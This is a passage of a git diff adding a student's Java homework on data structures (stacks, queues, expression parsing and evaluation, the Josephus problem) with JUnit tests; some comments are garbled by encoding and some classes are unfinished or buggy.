+            } else if (String.valueOf(c).matches("\\s")){
+                i++;
+            } else if (c == '(') {
+                token = new Token(Token.LEFT_BRACKET, String.valueOf(c));
+                tokens.add(token);
+                i++;
+            } else if (c == ')') {
+                token = new Token(Token.RIGHT_BRACKET, String.valueOf(c));
+                tokens.add(token);
+                i++;
+            } else {
+                throw new RuntimeException(c +" is not number or support operator");
+            }
+        }
+        return tokens;
+    }
+
+    private int getNextOperIndex(int i, String expr) {
+        while (Character.isDigit(expr.charAt(i))) {
+            i++;
+            if (i == expr.length()) {
+                break;
+            }
+        }
+        return i;
+    }
+
+    private boolean isOperator(char c) {
+      return  operators.contains(String.valueOf(c));
+    }
+
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/MyStack.java b/group23/632678665/com/basic/week7/stack/MyStack.java
new file mode 100644
index 0000000000..9a8bf42296
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/MyStack.java
@@ -0,0 +1,42 @@
+package com.ralf.stack;
+
+import java.util.LinkedList;
+import java.util.NoSuchElementException;
+
+/**
+ * ʵ�ֻ������ݽṹջ
+ * 
+ * @author chk
+ * 
+ */
+public class MyStack<T> {
+
+	private LinkedList<T> linkedList = new LinkedList<>();
+
+	public MyStack() {
+
+	}
+
+	public void push(T t) {
+		linkedList.addFirst(t);
+	}
+
+	public T pop() {
+		if (size() == 0) {
+			throw new NoSuchElementException();
+		}
+		return linkedList.removeFirst();
+	}
+
+	public T peek() {
+		return (size() == 0) ? null : linkedList.getFirst();
+	}
+
+	public int size() {
+		return linkedList.size();
+	}
+
+	public boolean isEmpty(){
+		return linkedList.isEmpty();
+	}
+}
diff --git a/group23/632678665/com/basic/week7/stack/StackUtil.java b/group23/632678665/com/basic/week7/stack/StackUtil.java
new file mode 100644
index 0000000000..758178131c
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/StackUtil.java
@@ -0,0 +1,173 @@
+package com.ralf.stack;
+
+import java.util.NoSuchElementException;
+
+public class StackUtil {
+
+	private static MyStack myStack = new MyStack<>();
+
+	/**
+	 * ����ջ�е�Ԫ����Integer, ��ջ����ջ���� : 5,4,3,2,1 ���ø÷����� Ԫ�ش����Ϊ: 1,2,3,4,5
+	 * ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty�� ����ʹ������һ��ջ������
+	 * 
+	 * @param <T>
+	 */
+	public static <T> void reverse(MyStack<T> stack) {
+
+		if (stack.isEmpty()) {
+			System.out.println("��ջΪ��ջ��");
+			return;
+		}
+		@SuppressWarnings("unchecked")
+		T[] elements = (T[]) new Object[stack.size()];
+		for (int i = 0; i < elements.length; i++) {
+			elements[i] = stack.pop();
+		}
+		for (int i = 0; i < elements.length; i++) {
+			stack.push(elements[i]);
+		}
+
+	}
+	
+	public static void bad_reverse(MyStack<Integer> s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		MyStack<Integer> tmpStack = new MyStack<>();
+		while(!s.isEmpty()){
+			tmpStack.push(s.pop());
+		}
+		
+		s = tmpStack;
+		
+	}
+	
+
+	/**
+	 * ɾ��ջ�е�ij��Ԫ�� ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty�� ����ʹ������һ��ջ������
+	 * 
+	 * @param o
+	 */
+	public static <T> void remove(MyStack<T> s, T o) {
+		if (s.isEmpty()) {
+			System.out.println("��ջΪ�գ�");
+			return;
+		}
+		MyStack<T> stack = new MyStack<>();
+
+		while (!s.isEmpty()) {
+			T t = s.pop();
+			if (t.equals(o)) {
+				PopAndPush(s, stack);
+				return;
+			}
+			stack.push(t);
+		}
+		throw new NoSuchElementException("��ջû�и�Ԫ�أ�");
+
+	}
+
+	private static <T> void PopAndPush(MyStack<T> s, MyStack<T> stack) {
+		while (!stack.isEmpty()) {
+			T t = stack.pop();
+			s.push(t);
+		}
+	}
+
+	/**
+	 * ��ջ��ȡ��len��Ԫ��, ԭ����ջ��Ԫ�ر��ֲ��� ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty��
+	 * ����ʹ������һ��ջ������
+	 * 
+	 * @param len
+	 * @return
+	 */
+	@SuppressWarnings("unchecked")
+	public static <T> T[] getTop(MyStack<T> s, int len) {
+
+		if (s.isEmpty() || len > s.size()) {
+			return null;
+		}
+		MyStack<T> oldStack = s;
+		T[] elements = (T[]) new Object[len];
+		for (int i = 0; i < len; i++) {
+			elements[i] = s.pop();
+		}
+		s = oldStack;
+		return elements;
+	}
+
+	/**
+	 * �ַ���s ���ܰ�����Щ�ַ��� ( ) [ ] { }, a,b,c... x,yz ʹ�ö�ջ����ַ���s�е������Dz��dzɶԳ��ֵġ� ����s =
+	 * "([e{d}f])" , ����ַ����е������dzɶԳ��֣� �÷�������true ��� s = "([b{x]y})",
+	 * ����ַ����е����Ų��dzɶԳ��ֵģ� �÷�������false;
+	 * 
+	 * @param s
+	 * @return
+	 */
+	public static <T> boolean isValidPairs(String s) {
+
+		char[] ch = s.toCharArray();
+		if (ch.length < 1) {
+			return false;
+		}
+
+		MyStack<String> leftStack = new MyStack<>();
+		MyStack<String> rightStack = new MyStack<>();
+
+		for (int i = 0; i < ch.length; i++) {
+
+			switch (ch[i]) {
+			case '(':
+				leftStack.push(String.valueOf(ch[i]));
+				break;
+
+			case '[':
+				leftStack.push(String.valueOf(ch[i]));
+				break;
+
+			case '{':
+				leftStack.push(String.valueOf(ch[i]));
+				break;
+
+			case ')':
+				rightStack.push(String.valueOf(ch[i]));
+				break;
+
+			case ']':
+				rightStack.push(String.valueOf(ch[i]));
+				break;
+
+			case '}':
+				rightStack.push(String.valueOf(ch[i]));
+				break;
+
+			default:
+				break;
+			}
+		}
+		return isPair(leftStack, rightStack);
+
+	}
+
+	private static boolean isPair(MyStack<String> leftStack,
+			MyStack<String> rightStack) {
+
+		if (leftStack.size() != rightStack.size()) {
+			return false;
+		}
+
+		reverse(rightStack);
+		while (!leftStack.isEmpty()) {
+
+			StringBuilder stringBuilder = new StringBuilder();
+			stringBuilder.append(leftStack.pop()).append(rightStack.pop());
+
+			String pair = stringBuilder.toString();
+			if (!pair.equals("()") && !pair.equals("[]") && !pair.equals("{}")) {
+				return false;
+			}
+		}
+		return true;
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/ExprIterator.java b/group23/632678665/com/basic/week7/stack/expr/ExprIterator.java
new file mode 100644
index 0000000000..d82db3e915
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/ExprIterator.java
@@ -0,0 +1,57 @@
+package com.ralf.stack.expr;
+
+import java.util.ArrayList;
+
+public class ExprIterator {
+
+	private int operPos;
+	private int numPos;
+	private ArrayList<String> operateList = new ArrayList<>();
+	private ArrayList<String> numList = new ArrayList<>();
+
+	public ExprIterator(String exprString) {
+		char[] chs = exprString.toCharArray();
+		transToString(chs);
+	}
+
+	public Integer nextNumString() {
+		if (hasNextNum()) {
+			return Integer.parseInt(numList.get(numPos++));
+		}
+		return null;
+	}
+	public String nextOperateString() {
+		if (hasNextOperate()) {
+			return operateList.get(operPos++);
+		}
+		return null;
+	}
+
+	public boolean hasNextNum() {
+		return numPos < numList.size();
+	}
+	
+	public boolean hasNextOperate() {
+		return operPos < operateList.size();
+	}
+
+	private void transToString(char[] chs) {
+
+		StringBuilder stringBuilder = new StringBuilder();
+		
+		for (int i = 0; i < chs.length; i++) {
+			if (chs[i] == '+' || chs[i] == '-' || chs[i] == '*'
+					|| chs[i] == '/') {
+				numList.add(stringBuilder.toString());
+				operateList.add(String.valueOf(chs[i]));
+				stringBuilder.delete(0, stringBuilder.length());
+			}
+			else {
+				stringBuilder.append(chs[i]);
+			}
+			
+		}
+		numList.add(stringBuilder.toString());
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/InfixExpr.java b/group23/632678665/com/basic/week7/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..86a060845c
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/InfixExpr.java
@@ -0,0 +1,74 @@
+package com.ralf.stack.expr;
+
+import java.util.List;
+
+import com.ralf.stack.MyStack;
+
+public class InfixExpr {
+
+	private String exprString;
+
+	public InfixExpr(String exprString) {
+		this.exprString = exprString;
+	}
+
+	public double evaluate() {
+
+		MyStack<Float> numStack = new MyStack<Float>();
+		MyStack<Token> operStack = new MyStack<>();
+		TokenParser parser = new TokenParser();
+
+		List<Token> list = parser.parse(exprString);
+
+		for (Token token : list) {
+			if (token.isOperator()) {
+				if (operStack.isEmpty()) {
+					operStack.push(token);
+				} else {
+					while (!operStack.isEmpty()
+							&& !token.hasHigherPriority(operStack.peek())) {
+						String operator = operStack.pop().toString();
+						Float num1 = numStack.pop();
+						Float num2 = numStack.pop();
+						Float result = operate(operator,num1,num2);
+						numStack.push(result);
+					}
+					operStack.push(token);
+				}
+			}
+			if (token.isNumber()) {
+				numStack.push(new Float(token.getValue()));
+			}
+		}
+		
+		while(!operStack.isEmpty()){
+			String operator = operStack.pop().toString();
+			Float num1 = numStack.pop();
+			Float num2 = numStack.pop();
+			Float result = operate(operator,num1,num2);
+			numStack.push(result);
+		}
+
+		return numStack.pop().floatValue();
+	}
+
+	private Float operate(String operator,Float num1, Float num2) {
+		float result = 0.0f;
+		switch (operator) {
+		case "+":
+			result = num2 + num1;
+			break;
+		case "-":
+			result = num2 - num1;
+			break;
+		case "*":
+			result = num2 * num1;
+			break;
+		case "/":
+			result = num2 / num1;
+			break;
+		}
+		return result;
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/InfixToPostExpr.java b/group23/632678665/com/basic/week7/stack/expr/InfixToPostExpr.java
new file mode 100644
index 0000000000..6296d160ef
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/InfixToPostExpr.java
@@ -0,0 +1,41 @@
+package com.ralf.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.ralf.stack.MyStack;
+import com.ralf.stack.StackUtil;
+
+public class InfixToPostExpr {
+
+	public static List<Token> convert(String infixString){
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(infixString);
+		
+		MyStack<Token> S1 = new MyStack<Token>();
+		MyStack<Token> S2 = new MyStack<>();
+		
+		
+		for(Token token : tokens){
+			if (token.isNumber()) {
+				S2.push(token);
+			}
+			else{
+				while(!S1.isEmpty() && !token.hasHigherPriority(S1.peek())) {
+					S2.push(S1.pop());
+				}
+				S1.push(token);
+			}
+		}
+		while(!S1.isEmpty()){
+			S2.push(S1.pop());
+		}
+		ArrayList<Token> list = new ArrayList<>();
+		StackUtil.reverse(S2);
+		while(!S2.isEmpty()){
+			list.add(S2.pop());
+		}
+		return list;
+	}
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/InfixToPostExprTest.java b/group23/632678665/com/basic/week7/stack/expr/InfixToPostExprTest.java
new file mode 100644
index 0000000000..d21344ea1e
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/InfixToPostExprTest.java
@@ -0,0 +1,30 @@
+package com.ralf.stack.expr;
+
+import java.util.List;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class InfixToPostExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		//10-2*3+50
+		String string = "10-2*3+50";
+		List<Token> tokens = InfixToPostExpr.convert(string);
+		
+		Assert.assertEquals(10, tokens.get(0).getValue());
+		Assert.assertEquals(2, tokens.get(1).getValue());
+		Assert.assertEquals(3, tokens.get(2).getValue());
+		Assert.assertEquals("*", tokens.get(3).toString());
+		Assert.assertEquals("-", tokens.get(4).toString());
+		Assert.assertEquals(50, tokens.get(5).getValue());
+		Assert.assertEquals("+", tokens.get(6).toString());
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/PostfixExpr.java b/group23/632678665/com/basic/week7/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..6e40dbe72f
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/PostfixExpr.java
@@ -0,0 +1,48 @@
+package com.ralf.stack.expr;
+
+import java.util.List;
+
+import com.ralf.stack.MyStack;
+
+public class PostfixExpr {
+	
+	private String exprString;
+	
+	public PostfixExpr(String exprString){
+		this.exprString = exprString;
+	}
+
+	public float evaluate() {
+		MyStack<Float> myStack = new MyStack<>();
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(exprString);
+		for(Token token : tokens){
+			if (token.isNumber()) {
+				myStack.push(new Float(token.getValue()));
+			}
+			if (token.isOperator()) {
+				float f2 = myStack.pop();
+				float f1 = myStack.pop();
+				myStack.push(calculate(token.toString(), f1, f2));
+			}
+		}
+		return myStack.pop().floatValue();
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/PostfixExprTest.java b/group23/632678665/com/basic/week7/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..d5ff875c0f
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/PostfixExprTest.java
@@ -0,0 +1,34 @@
+package com.ralf.stack.expr;
+
+import static org.junit.Assert.*;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/PrefixExpr.java b/group23/632678665/com/basic/week7/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..651889259e
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/PrefixExpr.java
@@ -0,0 +1,59 @@
+package com.ralf.stack.expr;
+
+import java.util.List;
+
+import com.ralf.stack.MyStack;
+
+public class PrefixExpr {
+
+	private String exprString;
+	
+	public PrefixExpr(String exprString) {
+		this.exprString = exprString;
+	}
+
+	public float evaluate() {
+		
+		MyStack<Float> myStack = new MyStack<>();
+		MyStack<Token> exprStack = new MyStack<>();
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(exprString);
+		
+		for(Token token : tokens){
+			exprStack.push(token);
+		}
+		
+		while(!exprStack.isEmpty()){
+			Token token = exprStack.pop();
+			if (token.isNumber()) {
+				myStack.push(new Float(token.getValue()));
+			}
+			else {
+				Float f1 = myStack.pop();
+				Float f2 = myStack.pop();
+				myStack.push(calculate(token.toString(),f1,f2));
+			}
+		}
+		return myStack.pop().floatValue();
+	}
+
+	private Float calculate(String operator, Float f1, Float f2) {
+		if ("+".equals(operator)) {
+			return f1 + f2;
+		}
+		if ("-".equals(operator)) {
+			return f1 - f2;
+		}
+		if ("*".equals(operator)) {
+			return f1 * f2;
+		}
+		if ("/".equals(operator)) {
+			return f1 / f2;
+		}
+		else {
+			throw new RuntimeException("this operator is not supported!");
+		}
+		
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/PrefixExprTest.java b/group23/632678665/com/basic/week7/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..ff11cc2395
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/PrefixExprTest.java
@@ -0,0 +1,39 @@
+package com.ralf.stack.expr;
+
+import static org.junit.Assert.*;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/Token.java b/group23/632678665/com/basic/week7/stack/expr/Token.java
new file mode 100644
index 0000000000..1696dafbef
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/Token.java
@@ -0,0 +1,49 @@
+package com.ralf.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class Token {
+
+	public static final List<String> OPERATORS = Arrays.asList("+","-","*","/");
+	private static final Map<String, Integer> priorities = new HashMap<String, Integer>();
+	static{
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int NUMBER = 1;
+	static final int OPERATOR = 2;
+	String value;
+	int type;
+	
+	public Token(String value, int type){
+		this.value = value;
+		this.type = type;
+	}
+	public int getValue() {
+		
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	public boolean isNumber(){
+		return type == NUMBER;
+	}
+	public boolean isOperator(){
+		return type == OPERATOR;
+	}
+	public boolean hasHigherPriority(Token token){
+		
+		if (!this.isOperator() || !token.isOperator()) {
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(token.value) > 0;
+		
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/TokenParser.java b/group23/632678665/com/basic/week7/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..66206c9f11
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/TokenParser.java
@@ -0,0 +1,56 @@
+package com.ralf.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	public TokenParser(){
+
+	}
+	public List<Token> parse(String string) {
+		List<Token> tokens = new ArrayList<Token>();
+		int i = 0;
+		while(i < string.length()){
+			
+			char ch = string.charAt(i);
+			if (isOperator(ch)) {
+				Token token = new Token(String.valueOf(ch), Token.OPERATOR);
+				tokens.add(token);
+				i++;
+			}
+			else if (Character.isDigit(ch)) {
+				int nextIndexOfChar = nextIndexOfOperator(i,string);
+				String value = string.substring(i, nextIndexOfChar);
+				Token token = new Token(value, Token.NUMBER);
+				tokens.add(token);
+				i = nextIndexOfChar;
+			}
+			else {
+				System.out.println("char:" + ch + " is not a number or operator,ignore!");
+				i++;
+			}
+
+		}
+		
+		
+		return tokens;
+	}
+
+	private int nextIndexOfOperator(int i, String string) {
+		
+		while(Character.isDigit(string.charAt(i))){
+			i++;
+			if (i == string.length()) {
+				break;
+			}
+		}
+		return i;
+	}
+
+	private boolean isOperator(char ch) {
+		String string = String.valueOf(ch);
+		return Token.OPERATORS.contains(string);
+	}
+
+}
diff --git a/group23/632678665/com/basic/week7/stack/expr/TokenParserTest.java b/group23/632678665/com/basic/week7/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..3066880551
--- /dev/null
+++ b/group23/632678665/com/basic/week7/stack/expr/TokenParserTest.java
@@ -0,0 +1,36 @@
+package com.ralf.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		TokenParser tokenParser = new TokenParser();
+		
+		List<Token> list = tokenParser.parse("300*20+12*5-20/4");
+		Assert.assertEquals(300, list.get(0).getValue());
+		Assert.assertEquals("*", list.get(1).toString());
+		Assert.assertEquals(20, list.get(2).getValue());
+		Assert.assertEquals("+", list.get(3).toString());
+		Assert.assertEquals(12, list.get(4).getValue());
+		Assert.assertEquals("*", list.get(5).toString());
+		Assert.assertEquals(5, list.get(6).getValue());
+		Assert.assertEquals("-", list.get(7).toString());
+		Assert.assertEquals(20, list.get(8).getValue());
+		Assert.assertEquals("/", list.get(9).toString());
+		Assert.assertEquals(4, list.get(10).getValue());
+		
+	}
+
+}
diff --git a/group23/632678665/com/basic/week8/CircleQueue.java b/group23/632678665/com/basic/week8/CircleQueue.java
new file mode 100644
index 0000000000..1a6f022a4e
--- /dev/null
+++ b/group23/632678665/com/basic/week8/CircleQueue.java
@@ -0,0 +1,44 @@
+/**
+ * @author chk
+ */
+public class CircleQueue{
+
+    private int size;
+    private int first;
+    private int last;
+    Object[] queue;
+
+    public CircleQueue(int size){
+        queue = new Object[size];
+        first = 0;
+        last = 0;
+    }
+
+    public boolean isEmpty(){
+        return first == last;
+    }
+
+    public void enCircleQueue(Object o){
+        if( (last+1) % size == first){
+               System.out.println("Circle Queue is full");
+        }else {
+            queue[last] = o;
+            last = (last+1) % queue.length;
+        }
+    }
+
+    public int getSize(){
+        return (last - first + queue.length) % queue.length;
+    }
+
+    public Object deCircleQueue(){
+        if(isEmpty()){
+            return null;
+        }else{
+            Object item = queue[first];
+            first = (first+1)%queue.length;
+            return item;
+        }
+
+    }
+}
diff --git a/group23/632678665/com/basic/week8/Josephus.java b/group23/632678665/com/basic/week8/Josephus.java
new file mode 100644
index 0000000000..e3380c0ca6
--- /dev/null
+++ b/group23/632678665/com/basic/week8/Josephus.java
@@ -0,0 +1,44 @@
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：
+ * N个人围成一圈（位置记为0到N-1），
+ * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * @author chk
+ *
+ */
+public class Josephus {
+
+    private static class Node {
+        int data;
+        Node next;
+
+        public Node(int i) {
+            data = i;
+        }
+    }
+
+    public static void execute(int n, int m) {
+
+        Node header = new Node(0);
+        Node pointer = header;
+        for (int i = 1; i < n; i++) {
+            pointer.next = new Node(i);
+            pointer = pointer.next;
+        }
+        pointer.next = header;
+        while (pointer != pointer.next) {
+            for (int i = 1; i <= m; i++) {
+                pointer = pointer.next;
+            }
+            System.out.println(pointer.next.data);
+            pointer.next = pointer.next.next;
+        }
+        System.out.println(pointer.next.data);
+
+    }
+    public static void main(String args[]){
+        Josephus circle = new Josephus();
+        circle.execute(8,4);
+    }
+}
diff --git a/group23/632678665/com/basic/week8/Queue.java b/group23/632678665/com/basic/week8/Queue.java
new file mode 100644
index 0000000000..ea0e0cd621
--- /dev/null
+++ b/group23/632678665/com/basic/week8/Queue.java
@@ -0,0 +1,55 @@
+import javax.xml.soap.Node;
+import java.util.NoSuchElementException;
+
+/**
+ * @author chk
+ */
+public class Queue<E> {
+
+    private Node<E> first;
+    private Node<E> last;
+    private int size;
+
+    private static class Node<E>{
+        private E item;
+        private Node<E> next;
+    }
+    public Queue(){
+        first = null;
+        last = null;
+        size = 0;
+    }
+    public boolean isEmpty(){
+        return first == null;
+    }
+    public int size(){
+        return size;
+    }
+    public void enQueue(E data){
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if(isEmpty()){
+            first = last;
+        }else {
+            oldlast.next = last;
+        }
+        size++;
+    }
+    public E deQueue(){
+        if(isEmpty()){
+            throw new NoSuchElementException("queue is empty");
+        }else{
+            E item = first.item;
+            first = first.next;
+            size--;
+            if(isEmpty()){
+                last = null;
+            }
+            return item;
+        }
+    }
+
+
+}
diff --git a/group23/632678665/com/basic/week8/QueueWithTwoStacks.java b/group23/632678665/com/basic/week8/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..af5d8a03df
--- /dev/null
+++ b/group23/632678665/com/basic/week8/QueueWithTwoStacks.java
@@ -0,0 +1,47 @@
+import java.util.Stack;
+
+/**
+ * @author chk
+ */
+public class QueueWithTwoStacks<E> {
+    private Stack<E> stack1;
+    private Stack<E> stack2;
+    public QueueWithTwoStacks(){
+        stackk = new Stack<E>();
+        stackkk = new Stack<E>();
+    }
+
+    public boolean isEmpty(){
+        return stackk.isEmpty() && stackkk.isEmpty();
+    }
+
+    public int size()
+    {
+        return stackk.size() + stack2.size();
+    }
+
+    public void enQueue(E item){
+
+        stackk.push(item);
+    }
+
+    public E deQueue(){
+        if(stackkk.isEmpty()){
+            while(!stackk.isEmpty()){
+                stackkk.push(stackk.pop());
+            }
+        }
+        return stackkk.pop();
+    }
+    public static void main(String args[]){
+        QueueWithTwoStacks queue = new QueueWithTwoStacks();
+        queue.enQueue(1);
+        queue.enQueue(5);
+        queue.enQueue(4);
+        queue.enQueue(0);
+        System.out.println(queue.deQueue());
+        System.out.println(queue.deQueue());
+        System.out.println(queue.deQueue());
+        System.out.println(queue.deQueue());
+    }
+}
diff --git a/group23/632678665/com/basic/week9/QuickMinStack.java b/group23/632678665/com/basic/week9/QuickMinStack.java
new file mode 100644
index 0000000000..bac723e3f1
--- /dev/null
+++ b/group23/632678665/com/basic/week9/QuickMinStack.java
@@ -0,0 +1,48 @@
+
+
+import java.util.Stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author chk
+ *
+ */
+public class QuickMinStack extends Stack<Integer> {
+
+    Stack<Integer> sMin;
+    public QuickMinStack(){
+        sMin = new Stack<Integer>();
+    }
+    public void push(int data){
+        if(data <= findMin()){
+            sMin.push(data);
+        }
+        super.push(data);
+    }
+    public Integer pop(){
+        int value = super.pop();
+        if(value == findMin()){
+            sMin.pop();
+        }
+        return value;
+    }
+    public int findMin(){
+        if(sMin.isEmpty()){
+            return Integer.MAX_VALUE;
+        }
+        return sMin.peek();
+    }
+
+    public static void main(String args[]){
+        QuickMinStack stack = new QuickMinStack();
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        stack.push(0);
+        System.out.println(stack.pop().intValue());
+        System.out.println(stack.findMin());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+    }
+}
diff --git a/group23/632678665/com/basic/week9/StackWithTwoQueues.java b/group23/632678665/com/basic/week9/StackWithTwoQueues.java
new file mode 100644
index 0000000000..7fcf9162c9
--- /dev/null
+++ b/group23/632678665/com/basic/week9/StackWithTwoQueues.java
@@ -0,0 +1,53 @@
+package com.basic.week9;
+import java.util.LinkedList;
+
+
+/**
+ * @author chk
+ */
+public class StackWithTwoQueues {
+
+    LinkedList<Integer> queue1=new LinkedList<Integer>();
+    LinkedList<Integer> queue2=new LinkedList<Integer>();
+    public void push(int data){
+        queue1.addLast(data);
+    }
+    public int pop() {
+        if (sSize() > 0) {
+            if (!queue1.isEmpty()) {
+                while (queue1.size() > 1) {
+                    queue2.addLast(queue1.removeFirst());
+                }
+                return queue1.removeFirst();
+            } else {
+                while (queue2.size() > 1) {
+                    queue1.addLast(queue2.removeFirst());
+                }
+                return queue2.removeFirst();
+            }
+        } else {
+            System.out.println("栈空,不能出栈");
+            return Integer.MAX_VALUE;
+        }
+    }
+    public int sSize(){
+        return queue1.size() + queue2.size();
+    }
+    public static void main(String[] args)
+    {
+        StackWithTwoQueues stack=new StackWithTwoQueues();
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        stack.push(4);
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        stack.push(5);
+        stack.push(6);
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+        System.out.println(stack.pop());
+    }
+}
diff --git a/group23/632678665/com/basic/week9/TwoStackInOneArray.java b/group23/632678665/com/basic/week9/TwoStackInOneArray.java
new file mode 100644
index 0000000000..5443e6d6e4
--- /dev/null
+++ b/group23/632678665/com/basic/week9/TwoStackInOneArray.java
@@ -0,0 +1,82 @@
+package com.basic.week9;
+import java.util.Stack;
+
+/**
+ * @author chk
+ */
+public class TwoStackInOneArray {
+
+
+
+    Object[] data = new Object[10];
+
+    private int index1 = 0;
+    private int index2 = data.length - 1;
+
+
+    private boolean isFull() {
+        if (index1 == index2) {
+            return true;
+        } else
+            return false;
+    }
+
+    private void extendCapacity() {
+
+    }
+
+    /**
+     * 向第一个栈中压入元素
+     *
+     * @param o
+     */
+    public void push1(Object o) {
+
+    }
+
+    /**
+     * 从第一个栈中弹出元素
+     *
+     * @return
+     */
+    public Object pop1() {
+        return null;
+    }
+
+    /**
+     * 获取第一个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek1() {
+        return null;
+    }
+
+    /*
+     * 向第二个栈压入元素
+     */
+    public void push2(Object o) {
+
+    }
+
+    /**
+     * 从第二个栈弹出元素
+     *
+     * @return
+     */
+    public Object pop2() {
+        return null;
+    }
+
+    /**
+     * 获取第二个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek2() {
+        return null;
+    }
+
+}
diff --git a/group23/729693763/First_Homework1/readme.md b/group23/729693763/First_Homework1/readme.md
new file mode 100644
index 0000000000..219dee010b
--- /dev/null
+++ b/group23/729693763/First_Homework1/readme.md
@@ -0,0 +1,2 @@
+It contain source code and Test file by JUnit,
